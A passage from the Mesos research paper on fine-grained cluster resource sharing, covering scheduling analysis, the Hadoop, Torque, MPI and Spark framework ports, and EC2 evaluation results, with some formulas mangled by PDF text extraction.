to take ad-\\nvantage of new resources or scale down without a large\\nimpact on performance. For task durations, we consider\\nboth homogeneous and heterogeneous distributions.\\nWe also differentiate between two types of resources:\\nmandatory and preferred. A resource is mandatory if a\\nframework must acquire it in order to run. For example, a\\ngraphical processing unit (GPU) is mandatory if a frame-\\nwork cannot run without access to GPU. In contrast, a re-\\nsource is preferred if a framework performs “better” us-\\ning it, but can also run using another equivalent resource.\\nFor example, a framework may prefer running on a node\\nthat locally stores its data, but may also be able to read\\nthe data remotely if it must.\\nWe assume the amount of mandatory resources re-\\nquested by a framework never exceeds its guaranteed\\nshare. This ensures that frameworks will not deadlock\\nwaiting for the mandatory resources to become free.2For\\nsimplicity, we also assume that all tasks have the same re-\\nsource demands and run on identical slices of machines\\ncalled slots, and that each framework runs a single job.\\n4.2 Homogeneous Tasks\\nWe consider a cluster with nslots and a framework, f,\\nthat is entitled to kslots. For the purpose of this analy-\\nsis, we consider two distributions of the task durations:\\nconstant ( i.e.,all tasks have the same length) and expo-\\nnential. Let the mean task duration be T, and assume that\\nframeworkfruns a job which requires \\fkT total com-\\n2In workloads where the mandatory resource demands of the ac-\\ntive frameworks can exceed the capacity of the cluster, the allocation\\nmodule needs to implement admission control.\\n5Elastic Framework Rigid Framework\\nConstant dist. Exponential dist. Constant dist. Exponential dist.\\nRamp-up time T Tlnk T Tlnk\\nCompletion time (1=2 +\\f)T (1 +\\f)T (1 +\\f)T (lnk+\\f)T\\nUtilization 1 1 \\f=(1=2 +\\f)\\f=(lnk\\u00001 +\\f)\\nTable 2: Ramp-up time, job completion time and utilization for both elastic and rigid frameworks, and for both constant and\\nexponential task duration distributions. The framework starts with no slots. kis the number of slots the framework is entitled under\\nthe scheduling policy, and \\fTrepresents the time it takes a job to complete assuming the framework gets all kslots at once.\\nputation time. That is, when the framework has kslots,\\nit takes its job \\fTtime to finish.\\nTable 2 summarizes the job completion times and sys-\\ntem utilization for the two types of frameworks and the\\ntwo types of task length distributions. As expected, elas-\\ntic frameworks with constant task durations perform the\\nbest, while rigid frameworks with exponential task dura-\\ntion perform the worst. Due to lack of space, we present\\nonly the results here and include derivations in [23].\\nFramework ramp-up time: If task durations are con-\\nstant, it will take framework fat mostTtime to acquire\\nkslots. This is simply because during a Tinterval, every\\nslot will become available, which will enable Mesos to\\noffer the framework all kof its preferred slots. If the du-\\nration distribution is exponential, the expected ramp-up\\ntime can be as high as Tlnk[23].\\nJob completion time: The expected completion time3\\nof an elastic job is at most (1 +\\f)T, which is within T\\n(i.e.,the mean task duration) of the completion time of\\nthe job when it gets all its slots instantaneously. Rigid\\njobs achieve similar completion times for constant task\\ndurations, but exhibit much higher completion times for\\nexponential job durations, i.e.,(lnk+\\f)T. This is sim-\\nply because it takes a framework Tlnktime on average\\nto acquire all its slots and be able to start its job.\\nSystem utilization: Elastic jobs fully utilize their al-\\nlocated slots, because they can use every slot as soon\\nas they get it. As a result, assuming infinite demand, a\\nsystem running only elastic jobs is fully utilized. Rigid\\nframeworks achieve slightly worse utilizations, as their\\njobs cannot start before they get their full allocations, and\\nthus they waste the resources held while ramping up.\\n4.3 Placement Preferences\\nSo far, we have assumed that frameworks have no slot\\npreferences. In practice, different frameworks prefer dif-\\nferent nodes and their preferences may change over time.\\nIn this section, we consider the case where frameworks\\nhave different preferred slots.\\nThe natural question is how well Mesos will work\\ncompared to a central scheduler that has full information\\nabout framework preferences. We consider two cases:\\n3When computing job completion time we assume that the last tasks\\nof the job running on the framework’s kslots finish at the same time.(a) there exists a system configuration in which each\\nframework gets all its preferred slots and achieves its full\\nallocation, and (b) there is no such configuration, i.e.,the\\ndemand for some preferred slots exceeds the supply.\\nIn the first case, it is easy to see that, irrespective of the\\ninitial configuration, the system will converge to the state\\nwhere each framework allocates its preferred slots after\\nat most one Tinterval. This is simple because during a\\nTinterval all slots become available, and as a result each\\nframework will be offered its preferred slots.\\nIn the second case, there is no configuration in which\\nall frameworks can satisfy their preferences. The key\\nquestion in this case is how should one allocate the pre-\\nferred slots across the frameworks demanding them. In\\nparticular, assume there are pslots preferred by mframe-\\nworks, where framework irequestsrisuch slots, andPm\\ni=1ri> x. While many allocation policies are pos-\\nsible, here we consider a weighted fair allocation policy\\nwhere the weight associated with framework iis its in-\\ntended total allocation, si. In other words, assuming that\\neach framework has enough demand, we aim to allocate\\np\\u0001si=(Pm\\ni=1si)preferred slots to framework i.\\nThe challenge in Mesos is that the scheduler does\\nnot know the preferences of each framework. Fortu-\\nnately, it turns out that there is an easy way to achieve\\nthe weighted allocation of the preferred slots described\\nabove: simply perform lottery scheduling [36], offer-\\ning slots to frameworks with probabilities proportional to\\ntheir intended allocations. In particular, when a slot be-\\ncomes available, Mesos can offer that slot to framework i\\nwith probability si=(Pn\\ni=1si), wherenis the total num-\\nber of frameworks in the system. Furthermore, because\\neach framework ireceives on average sislots everyT\\ntime units, the results for ramp-up times and completion\\ntimes in Section 4.2 still hold.\\n4.4 Heterogeneous Tasks\\nSo far we have assumed that frameworks have homo-\\ngeneous task duration distributions, i.e.,that all frame-\\nworks have the same task duration distribution. In this\\nsection, we discuss frameworks with heterogeneous task\\nduration distributions. In particular, we consider a work-\\nload where tasks that are either short and long, where the\\nmean duration of the long tasks is significantly longer\\nthan the mean of the short tasks. Such heterogeneous\\n6workloads can hurt frameworks with short tasks. In the\\nworst case, all nodes required by a short job might be\\nfilled with long tasks, so the job may need to wait a long\\ntime (relative to its execution time) to acquire resources.\\nWe note first that random task assignment can work\\nwell if the fraction \\u001eof long tasks is not very close to 1\\nand if each node supports multiple slots. For example,\\nin a cluster with Sslots per node, the probability that a\\nnode is filled with long tasks will be \\u001eS. WhenSis large\\n(e.g., in the case of multicore machines), this probability\\nis small even with \\u001e>0:5. IfS= 8and\\u001e= 0:5, for ex-\\nample, the probability that a node is filled with long tasks\\nis 0.4%. Thus, a framework with short tasks can still ac-\\nquire many preferred slots in a short period of time. In\\naddition, the more slots a framework is able to use, the\\nlikelier it is that at least kof them are running short tasks.\\nTo further alleviate the impact of long tasks, Mesos\\ncan be extended slightly to allow allocation policies to\\nreserve some resources on each node for short tasks. In\\nparticular, we can associate a maximum task duration\\nwith some of the resources on each node, after which\\ntasks running on those resources are killed. These time\\nlimits can be exposed to the frameworks in resource of-\\nfers, allowing them to choose whether to use these re-\\nsources. This scheme is similar to the common policy of\\nhaving a separate queue for short jobs in HPC clusters.\\n4.5 Framework Incentives\\nMesos implements a decentralized scheduling model,\\nwhere each framework decides which offers to accept.\\nAs with any decentralized system, it is important to un-\\nderstand the incentives of entities in the system. In this\\nsection, we discuss the incentives of frameworks (and\\ntheir users) to improve the response times of their jobs.\\nShort tasks: A framework is incentivized to use short\\ntasks for two reasons. First, it will be able to allocate any\\nresources reserved for short slots. Second, using small\\ntasks minimizes the wasted work if the framework loses\\na task, either due to revocation or simply due to failures.\\nScale elastically: The ability of a framework to use re-\\nsources as soon as it acquires them–instead of waiting\\nto reach a given minimum allocation–would allow the\\nframework to start (and complete) its jobs earlier. In ad-\\ndition, the ability to scale up and down allows a frame-\\nwork to grab unused resources opportunistically, as it can\\nlater release them with little negative impact.\\nDo not accept unknown resources: Frameworks are\\nincentivized not to accept resources that they cannot use\\nbecause most allocation policies will count all the re-\\nsources that a framework owns when making offers.\\nWe note that these incentives align well with our goal\\nof improving utilization. If frameworks use short tasks,\\nMesos can reallocate resources quickly between them,reducing latency for new jobs and wasted work for revo-\\ncation. If frameworks are elastic, they will opportunis-\\ntically utilize all the resources they can obtain. Finally,\\nif frameworks do not accept resources that they do not\\nunderstand, they will leave them for frameworks that do.\\nWe also note that these properties are met by many\\ncurrent cluster computing frameworks, such as MapRe-\\nduce and Dryad, simply because using short independent\\ntasks simplifies load balancing and fault recovery.\\n4.6 Limitations of Distributed Scheduling\\nAlthough we have shown that distributed scheduling\\nworks well in a range of workloads relevant to current\\ncluster environments, like any decentralized approach, it\\ncan perform worse than a centralized scheduler. We have\\nidentified three limitations of the distributed model:\\nFragmentation: When tasks have heterogeneous re-\\nsource demands, a distributed collection of frameworks\\nmay not be able to optimize bin packing as well as a cen-\\ntralized scheduler. However, note that the wasted space\\ndue to suboptimal bin packing is bounded by the ratio be-\\ntween the largest task size and the node size. Therefore,\\nclusters running “larger” nodes (e.g., multicore nodes)\\nand “smaller” tasks within those nodes will achieve high\\nutilization even with distributed scheduling.\\nThere is another possible bad outcome if allocation\\nmodules reallocate resources in a na ¨ıve manner: when\\na cluster is filled by tasks with small resource require-\\nments, a framework fwith large resource requirements\\nmay starve, because whenever a small task finishes, f\\ncannot accept the resources freed by it, but other frame-\\nworks can. To accommodate frameworks with large per-\\ntask resource requirements, allocation modules can sup-\\nport a minimum offer size on each slave, and abstain from\\noffering resources on the slave until this amount is free.\\nInterdependent framework constraints: It is possi-\\nble to construct scenarios where, because of esoteric in-\\nterdependencies between frameworks ( e.g., certain tasks\\nfrom two frameworks cannot be colocated), only a sin-\\ngle global allocation of the cluster performs well. We\\nargue such scenarios are rare in practice. In the model\\ndiscussed in this section, where frameworks only have\\npreferences over which nodes they use, we showed that\\nallocations approximate those of optimal schedulers.\\nFramework complexity: Using resource offers may\\nmake framework scheduling more complex. We argue,\\nhowever, that this difficulty is not onerous. First, whether\\nusing Mesos or a centralized scheduler, frameworks need\\nto know their preferences; in a centralized scheduler,\\nthe framework needs to express them to the scheduler,\\nwhereas in Mesos, it must use them to decide which of-\\nfers to accept. Second, many scheduling policies for ex-\\nisting frameworks are online algorithms, because frame-\\n7works cannot predict task times and must be able to han-\\ndle failures and stragglers [18, 40, 38]. These policies\\nare easy to implement over resource offers.\\n5 Implementation\\nWe have implemented Mesos in about 10,000 lines of\\nC++. The system runs on Linux, Solaris and OS X, and\\nsupports frameworks written in C++, Java, and Python.\\nTo reduce the complexity of our implementation, we\\nuse a C++ library called libprocess [7] that provides\\nan actor-based programming model using efficient asyn-\\nchronous I/O mechanisms ( epoll ,kqueue , etc). We\\nalso use ZooKeeper [4] to perform leader election.\\nMesos can use Linux containers [9] or Solaris projects\\n[13] to isolate tasks. We currently isolate CPU cores and\\nmemory. We plan to leverage recently added support for\\nnetwork and I/O isolation in Linux [8] in the future.\\nWe have implemented four frameworks on top of\\nMesos. First, we have ported three existing cluster com-\\nputing systems: Hadoop [2], the Torque resource sched-\\nuler [33], and the MPICH2 implementation of MPI [16].\\nNone of these ports required changing these frameworks’\\nAPIs, so all of them can run unmodified user programs.\\nIn addition, we built a specialized framework for iterative\\njobs called Spark, which we discuss in Section 5.3.\\n5.1 Hadoop Port\\nPorting Hadoop to run on Mesos required relatively few\\nmodifications, because Hadoop’s fine-grained map and\\nreduce tasks map cleanly to Mesos tasks. In addition, the\\nHadoop master, known as the JobTracker, and Hadoop\\nslaves, known as TaskTrackers, fit naturally into the\\nMesos model as a framework scheduler and executor.\\nTo add support for running Hadoop on Mesos, we took\\nadvantage of the fact that Hadoop already has a plug-\\ngable API for writing job schedulers. We wrote a Hadoop\\nscheduler that connects to Mesos, launches TaskTrackers\\nas its executors, and maps each Hadoop task to a Mesos\\ntask. When there are unlaunched tasks in Hadoop, our\\nscheduler first starts Mesos tasks on the nodes of the\\ncluster that it wants to use, and then sends the Hadoop\\ntasks to them using Hadoop’s existing internal interfaces.\\nWhen tasks finish, our executor notifies Mesos by listen-\\ning for task finish events using an API in the TaskTracker.\\nWe used delay scheduling [38] to achieve data locality\\nby waiting for slots on the nodes that contain task in-\\nput data. In addition, our approach allowed us to reuse\\nHadoop’s existing logic for re-scheduling of failed tasks\\nand for speculative execution (straggler mitigation).\\nWe also needed to change how map output data is\\nserved to reduce tasks. Hadoop normally writes map\\noutput files to the local filesystem, then serves these to\\nreduce tasks using an HTTP server included in the Task-\\nTracker. However, the TaskTracker within Mesos runsas an executor, which may be terminated if it is not run-\\nning tasks. This would make map output files unavailable\\nto reduce tasks. We solved this problem by providing a\\nshared file server on each node in the cluster to serve\\nlocal files. Such a service is useful beyond Hadoop, to\\nother frameworks that write data locally on each node.\\nIn total, our Hadoop port is 1500 lines of code.\\n5.2 Torque and MPI Ports\\nWe have ported the Torque cluster resource manager to\\nrun as a framework on Mesos. The framework consists\\nof a Mesos scheduler and executor, written in 360 lines\\nof Python code, that launch and manage different com-\\nponents of Torque. In addition, we modified 3 lines of\\nTorque source code to allow it to elastically scale up and\\ndown on Mesos depending on the jobs in its queue.\\nAfter registering with the Mesos master, the frame-\\nwork scheduler configures and launches a Torque server\\nand then periodically monitors the server’s job queue.\\nWhile the queue is empty, the scheduler releases all tasks\\n(down to an optional minimum, which we set to 0) and\\nrefuses all resource offers it receives from Mesos. Once\\na job gets added to Torque’s queue (using the standard\\nqsub command), the scheduler begins accepting new\\nresource offers. As long as there are jobs in Torque’s\\nqueue, the scheduler accepts offers as necessary to sat-\\nisfy the constraints of as many jobs in the queue as pos-\\nsible. On each node where offers are accepted, Mesos\\nlaunches our executor, which in turn starts a Torque\\nbackend daemon and registers it with the Torque server.\\nWhen enough Torque backend daemons have registered,\\nthe torque server will launch the next job in its queue.\\nBecause jobs that run on Torque (e.g. MPI) may not be\\nfault tolerant, Torque avoids having its tasks revoked by\\nnot accepting resources beyond its guaranteed allocation.\\nIn addition to the Torque framework, we also created\\na Mesos MPI “wrapper” framework, written in 200 lines\\nof Python code, for running MPI jobs directly on Mesos.\\n5.3 Spark Framework\\nMesos enables the creation of specialized frameworks\\noptimized for workloads for which more general exe-\\ncution layers may not be optimal. To test the hypoth-\\nesis that simple specialized frameworks provide value,\\nwe identified one class of jobs that were found to per-\\nform poorly on Hadoop by machine learning researchers\\nat our lab: iterative jobs , where a dataset is reused across\\na number of iterations. We built a specialized framework\\ncalled Spark [39] optimized for these workloads.\\nOne example of an iterative algorithm used in ma-\\nchine learning is logistic regression [22]. This algorithm\\nseeks to find a line that separates two sets of labeled data\\npoints. The algorithm starts with a random line w. Then,\\non each iteration, it computes the gradient of an objective\\n8. . . w f(x,w) w f(x,w) x x a) Dryad b) Spark w f(x,w) x Figure 4: Data flow of a logistic regression job in Dryad\\nvs. Spark. Solid lines show data flow within the framework.\\nDashed lines show reads from a distributed file system. Spark\\nreuses in-memory data across iterations to improve efficiency.\\nfunction that measures how well the line separates the\\npoints, and shifts walong this gradient. This gradient\\ncomputation amounts to evaluating a function f(x;w)\\nover each data point xand summing the results. An\\nimplementation of logistic regression in Hadoop must\\nrun each iteration as a separate MapReduce job, because\\neach iteration depends on the wcomputed at the previous\\none. This imposes overhead because every iteration must\\nre-read the input file into memory. In Dryad, the whole\\njob can be expressed as a data flow DAG as shown in Fig-\\nure 4a, but the data must still must be reloaded from disk\\nat each iteration. Reusing the data in memory between\\niterations in Dryad would require cyclic data flow.\\nSpark’s execution is shown in Figure 4b. Spark uses\\nthe long-lived nature of Mesos executors to cache a slice\\nof the dataset in memory at each executor, and then run\\nmultiple iterations on this cached data. This caching is\\nachieved in a fault-tolerant manner: if a node is lost,\\nSpark remembers how to recompute its slice of the data.\\nBy building Spark on top of Mesos, we were able to\\nkeep its implementation small (about 1300 lines of code),\\nyet still capable of outperforming Hadoop by 10\\u0002for\\niterative jobs. In particular, using Mesos’s API saved us\\nthe time to write a master daemon, slave daemon, and\\ncommunication protocols between them for Spark. The\\nmain pieces we had to write were a framework scheduler\\n(which uses delay scheduling for locality) and user APIs.\\n6 Evaluation\\nWe evaluated Mesos through a series of experiments on\\nthe Amazon Elastic Compute Cloud (EC2). We begin\\nwith a macrobenchmark that evaluates how the system\\nshares resources between four workloads, and go on to\\npresent a series of smaller experiments designed to eval-\\nuate overhead, decentralized scheduling, our specialized\\nframework (Spark), scalability, and failure recovery.\\n6.1 Macrobenchmark\\nTo evaluate the primary goal of Mesos, which is enabling\\ndiverse frameworks to efficiently share a cluster, we ran aBin Job Type Map Tasks Reduce Tasks # Jobs Run\\n1 selection 1 NA 38\\n2 text search 2 NA 18\\n3 aggregation 10 2 14\\n4 selection 50 NA 12\\n5 aggregation 100 10 6\\n6 selection 200 NA 6\\n7 text search 400 NA 4\\n8 join 400 30 2\\nTable 3: Job types for each bin in our Facebook Hadoop mix.\\nmacrobenchmark consisting of a mix of four workloads:\\n\\u000fA Hadoop instance running a mix of small and large\\njobs based on the workload at Facebook.\\n\\u000fA Hadoop instance running a set of large batch jobs.\\n\\u000fSpark running a series of machine learning jobs.\\n\\u000fTorque running a series of MPI jobs.\\nWe compared a scenario where the workloads ran as\\nfour frameworks on a 96-node Mesos cluster using fair\\nsharing to a scenario where they were each given a static\\npartition of the cluster (24 nodes), and measured job re-\\nsponse times and resource utilization in both cases. We\\nused EC2 nodes with 4 CPU cores and 15 GB of RAM.\\nWe begin by describing the four workloads in more\\ndetail, and then present our results.\\n6.1.1 Macrobenchmark Workloads\\nFacebook Hadoop Mix Our Hadoop job mix was\\nbased on the distribution of job sizes and inter-arrival\\ntimes at Facebook, reported in [38]. The workload con-\\nsists of 100 jobs submitted at fixed times over a 25-\\nminute period, with a mean inter-arrival time of 14s.\\nMost of the jobs are small (1-12 tasks), but there are also\\nlarge jobs of up to 400 tasks.4The jobs themselves were\\nfrom the Hive benchmark [6], which contains four types\\nof queries: text search, a simple selection, an aggrega-\\ntion, and a join that gets translated into multiple MapRe-\\nduce steps. We grouped the jobs into eight bins of job\\ntype and size (listed in Table 3) so that we could com-\\npare performance in each bin. We also set the framework\\nscheduler to perform fair sharing between its jobs, as this\\npolicy is used at Facebook.\\nLarge Hadoop Mix To emulate batch workloads that\\nneed to run continuously, such as web crawling, we had\\na second instance of Hadoop run a series of IO-intensive\\n2400-task text search jobs. A script launched ten of these\\njobs, submitting each one after the previous one finished.\\nSpark We ran five instances of an iterative machine\\nlearning job on Spark. These were launched by a script\\nthat waited 2 minutes after each job ended to submit\\nthe next. The job we used was alternating least squares\\n4We scaled down the largest jobs in [38] to have the workload fit a\\nquarter of our cluster size.\\n9 0 0.2 0.4 0.6 0.8 1\\n 0 200 400 600 800 1000 1200 1400 1600Share of Cluster\\nTime (s)(a) Facebook Hadoop Mix\\nStatic Partitioning\\nMesos\\n 0 0.2 0.4 0.6 0.8 1\\n 0 500 1000 1500 2000 2500 3000Share of Cluster\\nTime (s)(b) Large Hadoop Mix\\nStatic Partitioning\\nMesos\\n 0 0.2 0.4 0.6 0.8 1\\n 0 200 400 600 800 1000 1200 1400 1600 1800Share of Cluster\\nTime (s)(c) Spark\\nStatic Partitioning\\nMesos\\n 0 0.2 0.4 0.6 0.8 1\\n 0 200 400 600 800 1000 1200 1400 1600Share of Cluster\\nTime (s)(d) Torque / MPI\\nStatic Partitioning\\nMesosFigure 5: Comparison of cluster shares (fraction of CPUs) over time for each of the frameworks in the Mesos and static partitioning\\nmacrobenchmark scenarios. On Mesos, frameworks can scale up when their demand is high and that of other frameworks is low, and\\nthus finish jobs faster. Note that the plots’ time axes are different ( e.g., the large Hadoop mix takes 3200s with static partitioning).\\nFigure 6: Framework shares on Mesos during the macrobench-\\nmark. By pooling resources, Mesos lets each workload scale\\nup to fill gaps in the demand of others. In addition, fine-grained\\nsharing allows resources to be reallocated in tens of seconds.\\n(ALS), a collaborative filtering algorithm [42]. This job\\nis CPU-intensive but also benefits from caching its input\\ndata on each node, and needs to broadcast updated pa-\\nrameters to all nodes running its tasks on each iteration.\\nTorque / MPI Our Torque framework ran eight in-\\nstances of the tachyon raytracing job [35] that is part of\\nthe SPEC MPI2007 benchmark. Six of the jobs ran small\\nproblem sizes and two ran large ones. Both types used 24\\nparallel tasks. We submitted these jobs at fixed times to\\nboth clusters. The tachyon job is CPU-intensive.\\n6.1.2 Macrobenchmark Results\\nA successful result for Mesos would show two things:\\nthat Mesos achieves higher utilization than static parti-\\ntioning, and that jobs finish at least as fast in the shared\\ncluster as they do in their static partition, and possibly\\nfaster due to gaps in the demand of other frameworks.\\nOur results show both effects, as detailed below.\\nWe show the fraction of CPU cores allocated to each\\n 0 20 40 60 80 100 0 200 400 600 800 1000 1200 1400 1600CPU Utilization (%)Time (s)MesosStatic\\n 0 10 20 30 40 50 0 200 400 600 800 1000 1200 1400 1600Memory Utilization (%)Time (s)MesosStaticFigure 7: Average CPU and memory utilization over time\\nacross all nodes in the Mesos cluster vs. static partitioning.\\nframework by Mesos over time in Figure 6. We see that\\nMesos enables each framework to scale up during peri-\\nods when other frameworks have low demands, and thus\\nkeeps cluster nodes busier. For example, at time 350,\\nwhen both Spark and the Facebook Hadoop framework\\nhave no running jobs and Torque is using 1/8 of the clus-\\nter, the large-job Hadoop framework scales up to 7/8 of\\nthe cluster. In addition, we see that resources are reallo-\\ncated rapidly ( e.g., when a Facebook Hadoop job starts\\naround time 360) due to the fine-grained nature of tasks.\\nFinally, higher allocation of nodes also translates into in-\\ncreased CPU and memory utilization (by 10% for CPU\\nand 17% for memory), as shown in Figure 7.\\nA second question is how much better jobs perform\\nunder Mesos than when using a statically partitioned\\ncluster. We present this data in two ways. First, Fig-\\nure 5 compares the resource allocation over time of\\neach framework in the shared and statically partitioned\\nclusters. Shaded areas show the allocation in the stat-\\n10Framework Sum of Exec Times w/Static Partitioning (s) Sum of Exec Times with Mesos (s) Speedup Facebook Hadoop Mix 7235 6319 1.14 Large Hadoop Mix 3143 1494 2.10 Spark 1684 1338 1.26 Torque / MPI 3210 3352 0.96 Table 4: Aggregate performance of each framework in the mac-\\nrobenchmark (sum of running times of all the jobs in the frame-\\nwork). The speedup column shows the relative gain on Mesos.\\nically partitioned cluster, while solid lines show the\\nshare on Mesos. We see that the fine-grained frame-\\nworks (Hadoop and Spark) take advantage of Mesos to\\nscale up beyond 1/4 of the cluster when global demand\\nallows this, and consequently finish bursts of submit-\\nted jobs faster in Mesos. At the same time, Torque\\nachieves roughly similar allocations and job durations\\nunder Mesos (with some differences explained later).\\nSecond, Tables 4 and 5 show a breakdown of job per-\\nformance for each framework. In Table 4, we compare\\nthe aggregate performance of each framework, defined\\nas the sum of job running times, in the static partitioning\\nand Mesos scenarios. We see the Hadoop and Spark jobs\\nas a whole are finishing faster on Mesos, while Torque is\\nslightly slower. The framework that gains the most is the\\nlarge-job Hadoop mix, which almost always has tasks to\\nrun and fills in the gaps in demand of the other frame-\\nworks; this framework performs 2x better on Mesos.\\nTable 5 breaks down the results further by job type.\\nWe observe two notable trends. First, in the Facebook\\nHadoop mix, the smaller jobs perform worse on Mesos.\\nThis is due to an interaction between the fair sharing per-\\nformed by Hadoop (among its jobs) and the fair sharing\\nin Mesos (among frameworks): During periods of time\\nwhen Hadoop has more than 1/4 of the cluster, if any jobs\\nare submitted to the other frameworks, there is a delay\\nbefore Hadoop gets a new resource offer (because any\\nfreed up resources go to the framework farthest below its\\nshare), so any small job submitted during this time is de-\\nlayed for a long time relative to its length. In contrast,\\nwhen running alone, Hadoop can assign resources to the\\nnew job as soon as any of its tasks finishes. This prob-\\nlem with hierarchical fair sharing is also seen in networks\\n[34], and could be mitigated by running the small jobs on\\na separate framework or using a different allocation pol-\\nicy (e.g., using lottery scheduling instead of offering all\\nfreed resources to the framework with the lowest share).\\nLastly, Torque is the only framework that performed\\nworse, on average, on Mesos. The large tachyon jobs\\ntook on average 2 minutes longer, while the small ones\\ntook 20s longer. Some of this delay is due to Torque hav-\\ning to wait to launch 24 tasks on Mesos before starting\\neach job, but the average time this takes is 12s. We be-\\nFramework Job Type Exec Time w/ Static Partitioning (s) Avg. Speedup on Mesos Facebook Hadoop Mix selection (1) 24 0.84 text search (2) 31 0.90 aggregation (3) 82 0.94 selection (4) 65 1.40 aggregation (5) 192 1.26 selection (6) 136 1.71 text search (7) 137 2.14 join (8) 662 1.35 Large Hadoop Mix text search 314 2.21 Spark ALS 337 1.36 Torque / MPI small tachyon 261 0.91 large tachyon 822 0.88 Table 5: Performance of each job type in the macrobenchmark.\\nBins for the Facebook Hadoop mix are in parentheses.\\n0 120 240 360 480 600 0% 20% 40% 60% 80% 100% \\nStatic partitioning Mesos, no delay sched. Mesos, 1s delay sched. Mesos, 5s delay sched. \\nJob Running TIme (s) Local Map Tasks (%) Data Locality Job Running Times \\nFigure 8: Data locality and average job durations for 16\\nHadoop instances running on a 93-node cluster using static par-\\ntitioning, Mesos, or Mesos with delay scheduling.\\nlieve that the rest of the delay is due to stragglers (slow\\nnodes). In our standalone Torque run, we saw two jobs\\ntake about 60s longer to run than the others (Fig. 5d). We\\ndiscovered that both of these jobs were using a node that\\nperformed slower on single-node benchmarks than the\\nothers (in fact, Linux reported 40% lower bogomips on\\nit). Because tachyon hands out equal amounts of work\\nto each node, it runs as slowly as the slowest node.\\n6.2 Overhead\\nTo measure the overhead Mesos imposes when a single\\nframework uses the cluster, we ran two benchmarks us-\\ning MPI and Hadoop on an EC2 cluster with 50 nodes,\\neach with 2 CPU cores and 6.5 GB RAM. We used the\\nHigh-Performance LINPACK [15] benchmark for MPI\\nand a WordCount job for Hadoop, and ran each job three\\ntimes. The MPI job took on average 50.9s without Mesos\\nand 51.8s with Mesos, while the Hadoop job took 160s\\nwithout Mesos and 166s with Mesos. In both cases, the\\noverhead of using Mesos was less than 4%.\\n6.3 Data Locality through Delay Scheduling\\nIn this experiment, we evaluated how Mesos’ resource\\noffer mechanism enables frameworks to control their\\ntasks’ placement, and in particular, data locality. We\\nran 16 instances of Hadoop using 93 EC2 nodes, each\\nwith 4 CPU cores and 15 GB RAM. Each node ran a\\n11map-only scan job that searched a 100 GB file spread\\nthroughout the cluster on a shared HDFS file system and\\noutputted 1% of the records. We tested four scenarios:\\ngiving each Hadoop instance its own 5-6 node static par-\\ntition of the cluster (to emulate organizations that use\\ncoarse-grained cluster sharing systems), and running all\\ninstances on Mesos using either no delay scheduling, 1s\\ndelay scheduling or 5s delay scheduling.\\nFigure 8 shows averaged measurements from the 16\\nHadoop instances across three runs of each scenario. Us-\\ning static partitioning yields very low data locality (18%)\\nbecause the Hadoop instances are forced to fetch data\\nfrom nodes outside their partition. In contrast, running\\nthe Hadoop instances on Mesos improves data locality,\\neven without delay scheduling, because each Hadoop in-\\nstance has tasks on more nodes of the cluster (there are\\n4 tasks per node), and can therefore access more blocks\\nlocally. Adding a 1-second delay brings locality above\\n90%, and a 5-second delay achieves 95% locality, which\\nis competitive with running one Hadoop instance alone\\non the whole cluster. As expected, job performance im-\\nproves with data locality: jobs run 1.7x faster in the 5s\\ndelay scenario than with static partitioning.\\n6.4 Spark Framework\\nWe evaluated the benefit of running iterative jobs using\\nthe specialized Spark framework we developed on top\\nof Mesos (Section 5.3) over the general-purpose Hadoop\\nframework. We used a logistic regression job imple-\\nmented in Hadoop by machine learning researchers in\\nour lab, and wrote a second version of the job using\\nSpark. We ran each version separately on 20 EC2 nodes,\\neach with 4 CPU cores and 15 GB RAM. Each exper-\\niment used a 29 GB data file and varied the number of\\nlogistic regression iterations from 1 to 30 (see Figure 9).\\nWith Hadoop, each iteration takes 127s on average,\\nbecause it runs as a separate MapReduce job. In contrast,\\nwith Spark, the first iteration takes 174s, but subsequent\\niterations only take about 6 seconds, leading to a speedup\\nof up to 10x for 30 iterations. This happens because the\\ncost of reading the data from disk and parsing it is much\\nhigher than the cost of evaluating the gradient function\\ncomputed by the job on each iteration. Hadoop incurs the\\nread/parsing cost on each iteration, while Spark reuses\\ncached blocks of parsed data and only incurs this cost\\nonce. The longer time for the first iteration in Spark is\\ndue to the use of slower text parsing routines.\\n6.5 Mesos Scalability\\nTo evaluate Mesos’ scalability, we emulated large clus-\\nters by running up to 50,000 slave daemons on 99 Ama-\\nzon EC2 nodes, each with 8 CPU cores and 6 GB RAM.\\nWe used one EC2 node for the master and the rest of the\\nnodes to run slaves. During the experiment, each of 200\\n0 1000 2000 3000 4000 0 10 20 30 Running Time (s) Number of Iterations Hadoop Spark Figure 9: Hadoop and Spark logistic regression running times.\\n0 0.25 0.5 0.75 1 0 10000 20000 30000 40000 50000 Task Launch Overhead (seconds) Number of Nodes \\nFigure 10: Mesos master’s scalability versus number of slaves.\\nframeworks running throughout the cluster continuously\\nlaunches tasks, starting one task on each slave that it re-\\nceives a resource offer for. Each task sleeps for a period\\nof time based on a normal distribution with a mean of\\n30 seconds and standard deviation of 10s, and then ends.\\nEach slave runs up to two tasks at a time.\\nOnce the cluster reached steady-state (i.e., the 200\\nframeworks achieve their fair shares and all resources\\nwere allocated), we launched a test framework that runs a\\nsingle 10 second task and measured how long this frame-\\nwork took to finish. This allowed us to calculate the extra\\ndelay incurred over 10s due to having to register with the\\nmaster, wait for a resource offer, accept it, wait for the\\nmaster to process the response and launch the task on a\\nslave, and wait for Mesos to report the task as finished.\\nWe plot this extra delay in Figure 10, showing aver-\\nages of 5 runs. We observe that the overhead remains\\nsmall (less than one second) even at 50,000 nodes. In\\nparticular, this overhead is much smaller than the aver-\\nage task and job lengths in data center workloads (see\\nSection 2). Because Mesos was also keeping the clus-\\nter fully allocated, this indicates that the master kept up\\nwith the load placed on it. Unfortunately, the EC2 vir-\\ntualized environment limited scalability beyond 50,000\\nslaves, because at 50,000 slaves the master was process-\\ning 100,000 packets per second (in+out), which has been\\nshown to be the current achievable limit on EC2 [12].\\n6.6 Failure Recovery\\nTo evaluate recovery from master failures, we conducted\\nan experiment with 200 to 4000 slave daemons on 62\\nEC2 nodes with 4 cores and 15 GB RAM. We ran 200\\nframeworks that each launched 20-second tasks, and two\\nMesos masters connected to a 5-node ZooKeeper quo-\\nrum.We synchronized the two masters’ clocks using NTP\\n12and measured the mean time to recovery (MTTR) after\\nkilling the active master. The MTTR is the time for all of\\nthe slaves and frameworks to connect to the second mas-\\nter. In all cases, the MTTR was between 4 and 8 seconds,\\nwith 95% confidence intervals of up to 3s on either side.\\n6.7 Performance Isolation\\nAs discussed in Section 3.4, Mesos leverages existing\\nOS isolation mechanism to provide performance isola-\\ntion between different frameworks’ tasks running on the\\nsame slave. While these mechanisms are not perfect,\\na preliminary 